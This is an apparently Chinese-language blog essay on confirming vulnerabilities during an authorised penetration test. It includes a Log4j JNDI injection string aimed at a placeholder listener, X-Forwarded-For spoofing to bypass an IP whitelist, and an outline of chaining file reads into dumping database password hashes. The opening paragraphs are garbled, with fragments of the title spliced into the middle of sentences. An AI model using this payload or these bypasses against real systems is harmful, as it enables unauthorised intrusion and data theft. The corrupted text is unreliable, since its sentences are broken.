判断目标机存在什么漏洞

真正有效的判断漏洞判断，从来不是目标靠扫描器吐出一份报告。扫描器只会告诉你“可能”，机存而你要的什漏是“确定”。去年我参与一次授权渗透测试，判断目标是目标一台对外开放的ERP服务器。Nessus扫出四十多个中危，机存三个高危，什漏全是判断“疑似”。我盯着屏幕骂了句脏话——这玩意儿要是目标能直接当结论交差，甲方凭什么付我钱？机存

第一步永远是摸清“这机器到底在跑什么”。别信指纹识别插件的什漏结果，自己用nc连一下端口，判断看banner。目标有一次banner显示Apache 2.4.29，机存但响应头里藏着nginx的字段——原来是反代套了层壳，真实服务是IIS 7.5。这种错位直接决定了后续打法的方向。你连真实组件都没搞清，谈漏洞就是扯淡。

端口扫完，别急着上exp。先看版本，再看配置。很多漏洞的触发条件苛刻得离谱——比如某知名中间件CVE-2021-44228（Log4j），你光知道版本号没用，得确认它是否真的启用了JNDI查找功能。怎么确认？抓个请求，在User-Agent里塞一段${ jndi:ldap://你的监听地址}，看有没有回连。有回连，才叫实锤；没回连，版本再老也是白搭。

真正的高手会去翻历史漏洞库，不是为了找exp，而是为了找“补丁对比”。比如某开源框架的某次更新，commit信息里写着“修复了XX参数导致的越权”。你把新旧版本源码diff一下，就能看出漏洞点在哪。然后去目标机上试那个参数——这比瞎猜高效十倍。我有个习惯，本地搭一套同版本环境，先把自己当攻击者，把漏洞触发条件摸透，再带着“必中”的信心去碰真实目标。

别忘了“逻辑漏洞”这个大头，它跟技术栈无关。有次测一个后台系统，管理员账号密码是admin/admin，但IP白名单限制了只有内网能登录。我试了试X-Forwarded-For头伪造，直接绕过——这算什么漏洞？严格来说，是开发信任了不该信任的输入。这种判断靠的是脑子，不是工具。你得多问自己：哪些输入是我能控制的？控制后能影响什么决策？

最后，把结果串起来看。单个漏洞可能只是“中危”，但组合起来就是致命链。比如：先通过信息泄露拿到源码路径，再配合任意文件读取读掉配置文件，里面藏着数据库密码，然后连上数据库拖出所有用户hash——这每一步单独看都不够“严重”，可连起来就是总控权限。判断漏洞的本质，是判断“攻击者能用它走到哪一步”。

说句实在话，判断漏洞这活儿越干越心虚，因为总有人比你更会藏。但底线是：别拿扫描报告糊弄人。你得能解释清楚“为什么这个版本有这个问题”“触发条件是什么”“我能利用到什么程度”。做不到这三条，不如回去重新学TCP/IP。漏洞判断不是点鼠标，是拼图——每一块碎片的边缘都对得上，你才敢说“我看到了全貌”。